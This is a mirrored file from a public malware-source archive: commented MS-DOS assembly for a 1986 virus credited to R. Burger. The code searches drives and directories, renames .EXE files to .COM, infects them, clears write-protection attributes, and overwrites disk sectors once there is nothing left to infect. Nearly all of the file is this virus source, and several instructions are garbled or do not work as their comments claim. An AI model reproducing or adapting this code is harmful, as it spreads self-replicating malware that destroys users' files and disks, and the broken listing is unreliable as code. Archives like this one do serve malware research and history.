mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
396 lines
12 KiB
NASM
396 lines
12 KiB
NASM
; Virus in Assembly Language
|
||
; --------------------------
|
||
|
||
;Most viruses out there have been written in assembly because assembly has the
|
||
;unique ability to bypass operating system security.
|
||
;Here is an example of a virus written under MS-DOS 2.1 and can obviously be
|
||
;compiled in the later versions. The article contains remarks so as to further
|
||
;explain the parts. Programmers may wish to delete those segments if desired.
|
||
|
||
;**************************************************
|
||
; Program Virus
|
||
; Version 1.1
|
||
; Writter : R. Burger
|
||
; Created 1986
|
||
; This is a demonstration program for computer
|
||
; viruses. It has the ability to replace itself.
|
||
; and thereby modify other programs. Enjoy.
|
||
;**************************************************
|
||
|
||
Code Segment
|
||
Assume CS:Code
|
||
progr equ 100h
|
||
ORG progr
|
||
|
||
;**************************************************
|
||
; The three NOP's serve as the marker byte of the
|
||
; virus which allow it to identify a virus.
|
||
;**************************************************
|
||
|
||
MAIN:
|
||
nop
|
||
nop
|
||
nop
|
||
|
||
;**************************************************
|
||
; Initialize the pointers
|
||
;**************************************************
|
||
|
||
mov ax,00
|
||
mov es:[pointer],ax
|
||
mov es:[counter],ax
|
||
mov es:[disks],al
|
||
|
||
;**************************************************
|
||
; Get the selected drive
|
||
;**************************************************
|
||
|
||
mov ah,19h ;drive?
|
||
int 21h
|
||
|
||
;**************************************************
|
||
; Get the current path on the current drive
|
||
;**************************************************
|
||
|
||
mov cs:drive,al ;save drive
|
||
mov ah,47h ;dir?
|
||
mov dh,0
|
||
add al,1
|
||
mov dl,al ;in actual drive
|
||
lea si,cs:old_path ;
|
||
int 21h
|
||
|
||
;**************************************************
|
||
; Get the number of drives present. If only one
|
||
; is present, the pointer for the search order
|
||
; will be set to serach order + 6
|
||
;**************************************************
|
||
|
||
mov as,0eh ;how many disks
|
||
mov dl,0 ;
|
||
int 21h
|
||
|
||
mov al,01
|
||
cmp al,01 ;one drive
|
||
jnz hups3
|
||
mov al,06
|
||
|
||
hups3: mov ah,0
|
||
lea bx,search_order
|
||
add bx,ax
|
||
add bx,0001h
|
||
mov cs:pointer,bx
|
||
clc
|
||
|
||
;**************************************************
|
||
; Carry is set, if no more .COM's are found.
|
||
; Then, to avoid unnecessary work, .EXE files will
|
||
; be renamed to .COM files and infected.
|
||
; This causes the error message "Program to large
|
||
; to fit memory" when starting larger infected
|
||
; EXE programs.
|
||
;*************************************************
|
||
|
||
change_disk:
|
||
jnc no_name_change
|
||
mov ah,17h ;change .EXE to .COM
|
||
lea dx,cs:maske_exe
|
||
int 21h
|
||
cmp al,0ffh
|
||
jnz no_name_change ;.EXE found?
|
||
|
||
;****************************************************
|
||
; If neither .COM nor .EXE is found then sectors
|
||
; will be overwritten depending on the system time
|
||
; in milliseconds. This is the time of the complete
|
||
; "infection" of a storage medium. The virus can
|
||
; find nothing more to infect and starts its destruction
|
||
;*****************************************************
|
||
|
||
mov ah,2ch ; read system clock
|
||
int 21h
|
||
mov bx,cs:pointer
|
||
mov al,cs:[bx]
|
||
mov bx,dx
|
||
mov cx,2
|
||
mov dh,0
|
||
int 26h ; write crap on disk
|
||
|
||
;******************************************************
|
||
; Check if the end of the search order table has been
|
||
; reached . If so, end.
|
||
;******************************************************
|
||
|
||
no_name_change:
|
||
mov bx,cs:pointer
|
||
dec bx
|
||
mov cs:pointer,bx
|
||
mov dl,cs:[bx]
|
||
cmp dl,0ffh
|
||
jnz hups2
|
||
jmp hops
|
||
|
||
;****************************************************
|
||
; Get new drive from the search order table and
|
||
; select it .
|
||
;***************************************************
|
||
|
||
hups2:
|
||
mov ah,0eh
|
||
int 21h ;change disk
|
||
|
||
;***************************************************
|
||
; Start in the root directory
|
||
;***************************************************
|
||
|
||
mov ah,3bh ;change path
|
||
lea dx,path
|
||
int 21h
|
||
jmp find_first_file
|
||
|
||
;**************************************************
|
||
; Starting from the root, search for the first
|
||
; subdir. FIrst convert all .EXE files to .COM
|
||
; in the old directory
|
||
;**************************************************
|
||
|
||
find_first_subdir:
|
||
mov ah,17h ;change .exe to .com
|
||
lea dx,cs:maske_exe
|
||
int 21h
|
||
mov ah,3bh ;use root directory
|
||
lea dx,path
|
||
int 21h
|
||
mov ah,04eh ;search for first subdirectory
|
||
mov cx,00010001b ;dir mask
|
||
lea dx,maske_dir ;
|
||
int 21h ;
|
||
jc change_disk
|
||
mov bx,CS:counter
|
||
INC,BX
|
||
DEC bx
|
||
jz use_next_subdir
|
||
|
||
;*************************************************
|
||
; Search for the next subdirectory. If no more
|
||
; directories are found, the drive will be changed.
|
||
;*************************************************
|
||
|
||
find_next_subdir:
|
||
mov ah,4fh ; search for next subdir
|
||
int 21h
|
||
jc change_disk
|
||
dec bx
|
||
jnz find_next_subdir
|
||
|
||
;*************************************************
|
||
; Select found directory.
|
||
;**************************************************
|
||
|
||
use_next_subdir:
|
||
mov ah,2fh ;get dta address
|
||
int 21h
|
||
add bx,1ch
|
||
mov es:[bx],'\` ;address of name in dta
|
||
inc bx
|
||
push ds
|
||
mov ax,es
|
||
mov ds,ax
|
||
mov dx,bx
|
||
mov ah,3bh ;change path
|
||
int 21h
|
||
pop ds
|
||
mov bx,cs:counter
|
||
inc bx
|
||
mov CS:counter,bx
|
||
|
||
;**************************************************
|
||
; Find first .COM file in the current directory.
|
||
; If there are none, search the next directory.
|
||
;**************************************************
|
||
|
||
find_first_file:
|
||
mov ah,04eh ;Search for first
|
||
mov cx,00000001b ;mask
|
||
lea dx,maske_com ;
|
||
int 21h ;
|
||
jc find_first_subdir
|
||
jmp check_if_ill
|
||
|
||
;**************************************************
|
||
; If program is ill(infected) then search for
|
||
; another other.
|
||
;**************************************************
|
||
|
||
find_next_file:
|
||
mov ah,4fh ;search for next
|
||
int 21h
|
||
jc find_first_subdir
|
||
|
||
;*************************************************
|
||
; Check is already infected by virus.
|
||
;**************************************************
|
||
|
||
check_if_ill:
|
||
mov ah,3dh ;open channel
|
||
mov al,02h ;read/write
|
||
mov dx,9eh ;address of name in dta
|
||
int 21
|
||
mov bx,ax ;save channel
|
||
mov ah,3fh ; read file
|
||
mov ch,buflen ;
|
||
mov dx,buffer ;write in buffer
|
||
int 21h
|
||
mov ah,3eh ;close file
|
||
int 21h
|
||
|
||
;***************************************************
|
||
; This routine will search the three NOP's(no
|
||
; operation).If present there is already an infection.
|
||
; We must then continue the search
|
||
;****************************************************
|
||
|
||
mov bx,cs:[buffer]
|
||
cmp bx,9090h
|
||
jz find_next_file
|
||
|
||
;***************************************************
|
||
; This routine will BY PASS MS-DOS WRITE PROTECTION
|
||
; if present. Very important !
|
||
;***************************************************
|
||
|
||
mov ah,43h ;write enable
|
||
mov al,0
|
||
mov dx,9eh ;address of name in dta
|
||
int 21h
|
||
mov ah,43h
|
||
mov al,01h
|
||
and cx,11111110b
|
||
int 21h
|
||
|
||
;****************************************************
|
||
; Open file for read/write access.
|
||
;*****************************************************
|
||
|
||
mov ah,3dh ;open channel
|
||
mov al,02h ;read/write
|
||
mov dx,9eh ;address of name in dta
|
||
int 21h
|
||
|
||
;****************************************************
|
||
; Read date entry of program and save for future
|
||
; use.
|
||
;****************************************************
|
||
|
||
mov bx,ax ;channel
|
||
mov ah,57h ;get date
|
||
mov al.0
|
||
int 21h
|
||
push cx ;save date
|
||
push dx
|
||
|
||
;****************************************************
|
||
; The jump located at address 0100h of the program
|
||
; will be saved for further use.
|
||
;*****************************************************
|
||
|
||
mov dx,cs:[conta] ;save old jmp
|
||
mov cs:[jmpbuf],dx
|
||
mov dx,cs:[buffer+1] ;save new jump
|
||
lea cx,cont-100h
|
||
sub dx,cx
|
||
mov cs:[conta],dx
|
||
|
||
;*****************************************************
|
||
; The virus copies itself to the start of the file.
|
||
;*****************************************************
|
||
|
||
mov ah,57h ;write date
|
||
mov al,1
|
||
pop dx
|
||
pop cx ;restore date
|
||
int 21h
|
||
|
||
;*****************************************************
|
||
; Close the file.
|
||
;*****************************************************
|
||
|
||
mov ah,3eh ;close file
|
||
int 21h
|
||
|
||
;*****************************************************
|
||
; Restore the old jump address. The virus saves at
|
||
; address "conta" the jump which was at the start of
|
||
; the host program.
|
||
; This is done to preserve the executability of the
|
||
; host program as much as possible.
|
||
; After saving it still works with the jump address
|
||
; contained in the virus. The jump address in the
|
||
; virus differs from the jump address in memory.
|
||
;****************************************************
|
||
|
||
mov dx,cs:[jmpbuf] ;restore old jump
|
||
mov cs:[conta],dx
|
||
hops: nop
|
||
call use_old
|
||
|
||
;****************************************************
|
||
; Continue with the host program.
|
||
;****************************************************
|
||
|
||
cont db 0e9h ;make jump
|
||
conta dw 0
|
||
mov ah,00
|
||
int 21h
|
||
|
||
;***************************************************
|
||
; Reactivate the selected drive at the start of
|
||
; the program.
|
||
;***************************************************
|
||
|
||
use_old:
|
||
mov ah,0eh ;use old drive
|
||
mov dl,cs:drive
|
||
int 21h
|
||
|
||
;***************************************************
|
||
; Reactivate the selected path at the start of
|
||
; the program.
|
||
;***************************************************
|
||
|
||
mov ah,3bh ;use old drive
|
||
lea dx,old_path-1 ;get old path and backslash
|
||
int 21h
|
||
ret
|
||
|
||
search_order db 0ffh,1,0,2,3,0ffh,00,offh
|
||
pointer dw 0000 ;pointer f. search order
|
||
counter dw 0000 ;counter f. nth. search
|
||
disks db 0 ;number of disks
|
||
|
||
maske_com db "*.com",00 ;search for com files
|
||
maske_dir db "*",00 ;search for dir's
|
||
maske_exe db offh,0,0,0,0,0,00111111b
|
||
db 0,"????????exe",0,0,0,0
|
||
db 0,"????????com",0
|
||
maske_all db offh,0,0,0,0,0,00111111b
|
||
db 0,"???????????",0,0,0,0
|
||
db 0,"????????com",0
|
||
|
||
buffer equ 0e00h ;a safe place
|
||
|
||
buflen equ 230h ;lenght of virus!!!!
|
||
;carefull
|
||
;if changing!!!!
|
||
jmpbuf equ buffer+buflen ;a safe place for jmp
|
||
path db "\",0 ;first place
|
||
drive db 0 ;actual drive
|
||
back_slash db "\"
|
||
old_path db 32 dup (?) ;old path
|
||
|
||
code ends
|
||
|
||
end main
|
||
|
||
;[ END OF THIS VIRUS PROGRAM ]
|
||
|